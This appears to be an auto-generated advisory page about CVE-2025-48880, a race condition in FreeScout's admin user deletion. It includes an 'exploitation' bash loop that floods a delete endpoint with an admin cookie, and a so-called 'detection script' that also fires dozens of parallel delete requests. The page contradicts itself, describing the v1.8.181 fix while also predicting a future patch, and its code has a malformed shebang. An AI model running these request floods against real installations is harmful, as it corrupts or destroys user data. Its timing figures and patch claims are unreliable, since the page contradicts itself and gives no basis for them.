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How CVE-2025-48880 Works
This vulnerability in FreeScout (before v1.8.181) occurs during user deletion by an admin due to improper race condition handling. When multiple concurrent requests attempt to delete the same user, a time-of-check to time-of-use (TOCTOU) flaw allows unintended privilege retention or data corruption. The lack of atomic operations in user deletion routines enables attackers to exploit timing gaps, potentially leaving orphaned permissions or partial deletions. The CVSS 4.0 vector (AV:N/AC:L/PR:H) indicates network accessibility with low attack complexity but high privileges required.
DailyCVE Form
Platform: FreeScout
Version: <1.8.181
Vulnerability: Race Condition
Severity: Medium
Date: 06/04/2025
Prediction: Patch expected by 06/25/2025
What Undercode Say:
Exploitation Commands
!/bin/bash while true; do curl -X POST "http://target/freescout/admin/users/delete/5" -H "Cookie: admin_session=VALID_SESSION" & done
Mitigation Code (Temp Fix)
// Override user deletion handler in FreeScout
function deleteUser($userId) {
$lock = fopen("/tmp/userdel_$userId.lock", "w+");
if (flock($lock, LOCK_EX)) {
// Critical section
$user = User::find($userId);
if ($user) {
$user->deleteRelatedData();
$user->delete();
}
flock($lock, LOCK_UN);
}
fclose($lock);
}
Detection Script
import requests
from concurrent.futures import ThreadPoolExecutor
def test_race(target_url, user_id):
with requests.Session() as s:
s.post(f"{target_url}/login", data={"email":"[email protected]","password":"PASSWORD"})
with ThreadPoolExecutor(max_workers=20) as executor:
[executor.submit(s.post, f"{target_url}/admin/users/delete/{user_id}") for _ in range(50)]
Analytics
- Attack Surface: Requires admin credentials but automatable via scripts
- Pattern: TOCTOU with 200-500ms exploitation window
- Indicators: Multiple DELETE logs for same userID within 1s
- Patch Analysis: v1.8.181 implements mutex locks on user operations
Upgrade Command
wget https://github.com/freescout-helpdesk/freescout/releases/download/v1.8.181/freescout-1.8.181.zip
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
